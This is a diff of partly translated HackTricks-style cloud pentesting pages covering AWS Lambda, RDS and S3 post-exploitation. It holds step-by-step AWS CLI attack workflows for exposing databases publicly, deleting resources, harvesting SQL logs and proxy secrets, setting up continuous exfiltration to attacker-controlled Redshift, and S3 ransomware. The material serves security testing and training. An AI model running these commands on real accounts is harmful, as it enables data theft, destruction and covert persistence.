../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -40,7 +40,7 @@ aws-warm-lambda-persistence.md
### AWS Lambda – VPC Egress Bypass
-Примусово виведіть Lambda function з обмеженого VPC, оновивши його конфігурацію порожнім VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді виконуватиметься в мережевій площині, керованій Lambda, відновлюючи доступ до зовнішнього інтернету та обходячи обмеження вихідного трафіку, що застосовуються приватними VPC підмережами без NAT.
+Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda – Runtime Pinning/Rollback Abuse
-Зловживайте `lambda:PutRuntimeManagementConfig`, щоб зафіксувати функцію на конкретній версії runtime (Manual) або заморозити оновлення (FunctionUpdate). Це зберігає сумісність з шкідливими layers/wrappers і може утримувати функцію на застарілому, вразливому runtime, полегшуючи експлуатацію та довготривалу персистенцію.
+Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
-Зловживайте `lambda:UpdateFunctionConfiguration` просунутими налаштуваннями логування, щоб перенаправити логи функції в CloudWatch Logs log group, обраний атакуючим. Це працює без зміни коду або execution role (більшість Lambda ролей вже включають `logs:CreateLogGroup/CreateLogStream/PutLogEvents` через `AWSLambdaBasicExecutionRole`). Якщо функція виводить secrets/request bodies або аварійно завершується зі stack traces, ви можете зібрати їх із нового log group.
+Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
-Перетворіть приватний Lambda Function URL на публічний неаутентифікований endpoint, переключивши Function URL AuthType на NONE та прикріпивши resource-based policy, яка надає lambda:InvokeFunctionUrl всім. Це дозволяє анонімно викликати внутрішні функції і може викрити конфіденційні backend-операції.
+Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda – Event Source Mapping Target Hijack
-Зловживайте `UpdateEventSourceMapping`, щоб змінити цільову Lambda function існуючого Event Source Mapping (ESM), так щоб записи з DynamoDB Streams, Kinesis або SQS доставлялися до функції під контролем атакуючого. Це непомітно відводить живі дані без змін у продюсерах або коді оригінальної функції.
+Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda – EFS Mount Injection data exfiltration
-Зловживайте `lambda:UpdateFunctionConfiguration`, щоб приєднати існуючий EFS Access Point до Lambda, а потім розгорнути тривіальний код, який перераховує/читає файли з підключеного шляху для ексфільтрації спільних секретів/конфігів, до яких функція раніше не мала доступу.
+Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
{{#ref}}
aws-lambda-efs-mount-injection.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index b24b72201..cdcccb0f0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
-Якщо attacker має достатні permissions, він може зробити **DB публічно доступною**, створивши snapshot DB, а потім створивши з цього snapshot публічно доступний DB.
+Якщо в нападника є достатні дозволи, він може зробити **DB publicly accessible**, створивши snapshot DB, а потім публічно доступну DB зі snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
-Атакуючий, який має права `rds:StopDBCluster` або `rds:StopDBInstance`, може примусово зупинити `RDS` instance або весь кластер, що призведе до недоступності бази даних, перерваних з'єднань і припинення процесів, які залежать від бази даних.
+Зловмисник, який має rds:StopDBCluster або rds:StopDBInstance, може примусово негайно зупинити RDS instance або весь кластер, спричинивши недоступність бази даних, розриви з'єднань та переривання процесів, що залежать від бази даних.
Щоб зупинити один DB instance (приклад):
```bash
aws rds stop-db-instance \
--db-instance-identifier
```
-Щоб зупинити весь кластер БД (приклад):
+Щоб зупинити весь DB-кластер (приклад):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier
```
### `rds:Delete*`
-Атакувальник, якому надано rds:Delete*, може видалити ресурси RDS — видалити DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судових доказів.
+Зловмисник, якому надано rds:Delete*, може видаляти ресурси RDS, знищуючи DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судово-експертних доказів.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
-Зловмисник з такими правами може **створити snapshot DB** і зробити його **публічно** **доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot.
+An attacker з цими дозволами міг би **створити snapshot бази даних (DB)** і зробити його **публічно** **доступним**. Потім він міг би просто створити у своєму акаунті DB з цього snapshot.
-Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
+Якщо attacker **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier
@@ -89,7 +89,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-Зловмисник, який має дозвіл `rds:DownloadDBLogFilePortion`, може **завантажувати частини файлів журналу екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналу, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.
+Зловмисник із дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили в логи, зловмисник потенційно може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
@@ -97,40 +97,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-Зловмисник з такими дозволами може **DoS existing RDS instances**.
+Зловмисник з цими дозволами може **виконати DoS над існуючими RDS інстансами**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
-**Потенційний вплив**: Видалення існуючих екземплярів RDS і потенційна втрата даних.
+**Потенційний вплив**: видалення існуючих RDS інстансів та потенційна втрата даних.
### `rds:StartExportTask`
> [!NOTE]
-> TODO: Протестувати
+> TODO: Перевірити
-Зловмисник із цим дозволом може **експортувати знімок екземпляра RDS у S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому знімку.
+Зловмисник з цим дозволом може **експортувати знімок екземпляра RDS у S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних в експортованому знімку.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
-**Потенційний вплив**: Доступ до конфіденційних даних у експортованому знімку.
+**Потенційний вплив**: Доступ до конфіденційних даних в експортованому snapshot.
-### Міжрегіональна реплікація автоматичних бекапів для прихованого відновлення (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
-Зловживати міжрегіональною реплікацією автоматичних бекапів, щоб тихо дублювати автоматичні бекапи інстансу RDS в інший AWS Region та відновити їх там. Атакувальник може потім зробити відновлену DB публічно доступною та скинути master password, щоб отримати доступ до даних поза межею моніторингу в регіоні, який захисники можуть не контролювати.
+Зловживати cross-Region automated backups replication, щоб непомітно дублювати automated backups екземпляра RDS в інший регіон AWS і відновлювати їх там. Зловмисник може потім зробити відновлену DB загальнодоступною і скинути master password, щоб отримати доступ до даних поза межами моніторингу в регіоні, який захисники можуть не відслідковувати.
-Потрібні дозволи (мінімум):
-- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому регіоні
-- `rds:DescribeDBInstanceAutomatedBackups` у цільовому регіоні
-- `rds:RestoreDBInstanceToPointInTime` у цільовому регіоні
-- `rds:ModifyDBInstance` у цільовому регіоні
-- `rds:StopDBInstanceAutomatedBackupsReplication` (необов'язкове очищення)
+Permissions needed (minimum):
+- `rds:StartDBInstanceAutomatedBackupsReplication` у регіоні призначення
+- `rds:DescribeDBInstanceAutomatedBackups` у регіоні призначення
+- `rds:RestoreDBInstanceToPointInTime` у регіоні призначення
+- `rds:ModifyDBInstance` у регіоні призначення
+- `rds:StopDBInstanceAutomatedBackupsReplication` (необов'язкове прибирання)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої DB)
-Вплив: Persistence та data exfiltration шляхом відновлення копії production data в інший регіон і публічного надання доступу з обліковими даними під контролем атакувальника.
+Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
-End-to-end CLI (замініть плейсхолдери)
+Повний CLI-процес (замініть заповнювачі)
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs
+### Увімкнути повне SQL logging через DB parameter groups та ексфільтрувати через RDS log APIs
-Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-оператори, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та завантажуйте файли логів через `rds:DescribeDBLogFiles` і `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити secrets/PII/JWTs.
+Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-вирази, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging та завантажте лог-файли через `rds:DescribeDBLogFiles` і `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, що можуть містити secrets/PII/JWTs.
-Необхідні права (мінімум):
+Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (тільки для приєднання власної parameter group, якщо інстанс використовує group за замовчуванням)
-- `rds:RebootDBInstance` (для параметрів, що вимагають reboot, напр., PostgreSQL)
+- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
+- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
-Кроки
-1) Recon target і current parameter group
+Steps
+1) Recon target and current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
-2) Переконайтеся, що приєднано користувацьку DB parameter group (параметри за замовчуванням редагувати не можна)
-- Якщо instance вже використовує користувацьку групу, повторно використайте її назву в наступному кроці.
-- Інакше створіть і приєднайте групу, що відповідає engine family:
+2) Переконайтеся, що приєднано власний DB parameter group (за замовчуванням його редагувати не можна)
+- Якщо інстанс уже використовує власну групу, повторно використайте її назву на наступному кроці.
+- Інакше створіть і приєднайте одну, що відповідає engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
-3) Увімкнути докладне логування SQL
-- MySQL двигуни (негайно / без перезавантаження):
+3) Увімкнути детальне журналювання SQL
+- Движки MySQL (негайно / без перезавантаження):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name \
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
-- PostgreSQL engines (перезавантаження необхідне):
+- PostgreSQL engines (потрібне перезавантаження):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name \
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier
```
-4) Дозвольте навантаженню виконуватись (або згенеруйте запити). SQL-вирази будуть записані у файли логів engine
+4) Дайте workload працювати (або згенеруйте запити). Запити будуть записані до файлів журналів engine
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
-5) Виявіть і завантажте логи (облікові дані БД не потрібні)
+5) Знайдіть і завантажте логи (DB creds не потрібні)
```bash
aws rds describe-db-log-files --db-instance-identifier
@@ -271,18 +271,18 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
-6) Проаналізувати офлайн на предмет конфіденційних даних
+6) Проаналізуйте офлайн на предмет конфіденційних даних
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
-Приклад доказів (зачищено):
+Приклад доказів (редаговано):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
-Cleanup
-- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно:
+Очищення
+- Повернути параметри до значень за замовчуванням і reboot, якщо потрібно:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
-Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатку через AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
+Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), ймовірне leaking секретів, JWTs та PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
-Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакуючий може створити read replica з production instance, скинути master password репліки (this does not change the primary) і за бажанням відкрити репліку публічно для exfiltrate даних.
+Зловживання RDS read replicas для отримання out-of-band доступу для читання без торкання облікових даних primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і, за потреби, виставити репліку публічно для exfiltrate даних.
-Потрібні дозволи (мінімум):
+Необхідні дозволи (мінімум):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо робити публічно)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо виставляється публічно)
-Вплив: Read-only доступ до production даних через replica з attacker-controlled credentials; нижча ймовірність виявлення, оскільки primary залишається недоторканим і replication продовжується.
+Вплив: Read-only доступ до production-даних через репліку з credentials під контролем зловмисника; нижча ймовірність виявлення, оскільки primary залишається недоторканим і реплікація продовжується.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -341,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier
# aws rds promote-read-replica --db-instance-identifier
```
Приклад доказів (MySQL):
-- Статус репліки БД: `available`, read replication: `replicating`
-- Успішне підключення з новим паролем та `@@read_only=1`, що підтверджує доступ лише для читання до репліки.
+- Стан репліки БД: `available`, реплікація для читання: `replicating`
+- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ до репліки лише для читання.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
-Зловживайте RDS Blue/Green, щоб клонувати production DB у безперервно репліковане, тільки для читання green середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не зачіпаючи blue (prod) instance. Це менш помітно, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
+Зловживання RDS Blue/Green для клонування продуктивної БД у постійно репліковане, лише для читання green середовище. Потім скиньте основні облікові дані green, щоб отримати доступ до даних без торкання blue (prod) інстансу. Це більш приховано, ніж обмін снапшотами, і часто обходить моніторинг, орієнтований лише на джерело.
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +393,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier \
--delete-target true
```
-Вплив: лише для читання, але повний доступ до даних у майже реальному часі клоні продукційного середовища без модифікації продукційного інстансу. Корисно для прихованого витягнення даних і офлайн-аналізу.
+Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі з клону production без змін у production-інстансі. Корисно для stealthy витягання даних та офлайн-аналізу.
-### Out-of-band SQL via RDS Data API шляхом увімкнення HTTP endpoint + скидання master password
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
-Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення, яким ви керуєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях у VPC). Працює на двигунах Aurora, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL).
+Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення під вашим контролем і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на Aurora-двигунах, які підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
-Permissions (minimum):
+Дозволи (мінімальні):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (та rds-data:BatchExecuteStatement, якщо використовується)
-Вплив: Bypass network segmentation та exfiltrate data через AWS APIs без прямого VPC-підключення до DB.
+Вплив: Обхід сегментації мережі та exfiltrate дані через AWS APIs без прямого VPC-з'єднання з DB.
-Повний CLI (Aurora MySQL example)
+Повний приклад CLI (Aurora MySQL)
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -461,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Примітки:
-- Якщо multi-statement SQL відхиляється rds-data, виконуйте окремі виклики execute-statement.
-- Для engine, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
-- Переконайтеся, що engine/version дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False.
+- Якщо `rds-data` відхиляє multi-statement SQL, виконуйте окремі виклики `execute-statement`.
+- Для двигунів, у яких `modify-db-cluster --enable-http-endpoint` не має ефекту, використовуйте `rds enable-http-endpoint --resource-arn`.
+- Переконайтесь, що engine/version дійсно підтримує Data API; інакше `HttpEndpointEnabled` залишиться False.
-### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Отримання облікових даних БД через секрети автентифікації RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
-Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для бекенд-автентифікації, а потім прочитайте секрет для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькопороговим шляхом до отримання DB credentials. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти `kms:Decrypt`.
+Зловживання конфігурацією RDS Proxy для виявлення секрету Secrets Manager, який використовується для автентифікації бекенду, після чого зчитування цього секрету для отримання облікових даних бази даних. У багатьох середовищах надається широке `secretsmanager:GetSecretValue`, що робить це низькоперешкодним шляхом до облікових даних БД. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти `kms:Decrypt`.
Необхідні дозволи (мінімум):
- `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` на вказаному SecretArn
-- Опціонально, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі
+- `secretsmanager:GetSecretValue` для вказаного SecretArn
+- Опційно, якщо секрет використовує CMK: `kms:Decrypt` для цього ключа
-Вплив: Негайне розкриття DB username/password, налаштованих на proxy; забезпечує прямий доступ до DB або подальший латеральний рух.
+Вплив: негайне розкриття імені користувача/пароля БД, налаштованих на проксі; дає змогу прямого доступу до БД або подальшого латерального руху.
Кроки
```bash
@@ -490,7 +490,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
-Лабораторія (мінімальний набір для відтворення)
+Лабораторія (мінімальні умови для відтворення)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -516,17 +516,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
-### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
+### Непомітна безперервна ексфільтрація через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration)
-Зловживати Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, яким ви керуєте. За наявності ліберальної Redshift resource policy, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, атакувач може встановити near‑real‑time data copy без DB creds, snapshots або network exposure.
+Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації продукційних даних у Redshift Serverless namespace, який ви контролюєте. За наявності надмірно відкрита політика ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, атакувальник може встановити майже реальну копію даних без DB creds, snapshots або мережевого доступу.
-Необхідні дозволи (мінімум):
+Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
-Перевірено в: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Створити Redshift Serverless namespace + workgroup
@@ -545,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Налаштуйте політику ресурсу Redshift, щоб дозволити джерело Aurora
+2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=
@@ -576,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Створити Aurora PostgreSQL кластер (увімкнути Data API та логічну реплікацію)
+3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication)
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -607,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Створіть zero‑ETL інтеграцію з RDS
+4) Створити zero‑ETL інтеграцію з RDS
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -619,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Матеріалізувати та запитувати репліковані дані у Redshift
+5) Матеріалізувати та виконувати запити до реплікованих даних у Redshift
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -634,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
Докази, виявлені під час тестування:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
-- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
+- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 та state PendingDbConnectState перед створенням бази даних.
+- Після CREATE DATABASE FROM INTEGRATION, перелік таблиць показав схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).
-Вплив: Безперервна майже в реальному часі exfiltration вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до початкового кластера.
+Вплив: Постійна майже в режимі реального часу exfiltration обраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання database credentials, backups або мережевого доступу до вихідного кластера.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index 79731597b..e5bc82d10 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -4,38 +4,37 @@
## S3
-Для додаткової інформації перегляньте:
+For more information check:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### Sensitive Information
+### Конфіденційна інформація
-Іноді у відкритих для читання бакетах можна знайти чутливу інформацію. Наприклад, секрети terraform state.
+Іноді ви зможете знайти конфіденційну інформацію, доступну для читання у бакетах. Наприклад, terraform state secrets.
### Pivoting
-Різні платформи можуть використовувати S3 для зберігання чутливих ресурсів.\
-Наприклад, **airflow** може зберігати там **DAGs** **code**, або **веб-сторінки** можуть безпосередньо обслуговуватись зі S3. Атакуючий з правами запису може **modify the code** у бакеті, щоб **pivot** на інші платформи, або **takeover accounts**, змінюючи JS файли.
+Різні платформи можуть використовувати S3 для зберігання чутливих активів. Наприклад, **airflow** може зберігати там **DAGs** **code**, або **веб-сторінки** можуть безпосередньо обслуговуватися з S3. Зловмисник із правами на запис може **modify the code** у бакеті, щоб **pivot** на інші платформи, або **takeover accounts**, змінюючи JS файли.
### S3 Ransomware
-У цьому сценарії **атакуючий створює KMS (Key Management Service) key у власному AWS account** або в іншому скомпрометованому акаунті. Потім він робить цей **ключ доступним будь-кому у світі**, дозволяючи будь-якому AWS user, role або account шифрувати об'єкти за допомогою цього ключа. Проте об'єкти не можна буде розшифрувати.
+У цьому сценарії, **attacker creates a KMS (Key Management Service) key in their own AWS account** або в іншому скомпрометованому акаунті. Потім вони роблять цей **key accessible to anyone in the world**, дозволяючи будь-якому AWS user, role, або account шифрувати об'єкти за допомогою цього ключа. Однак ці об'єкти не можна буде розшифрувати.
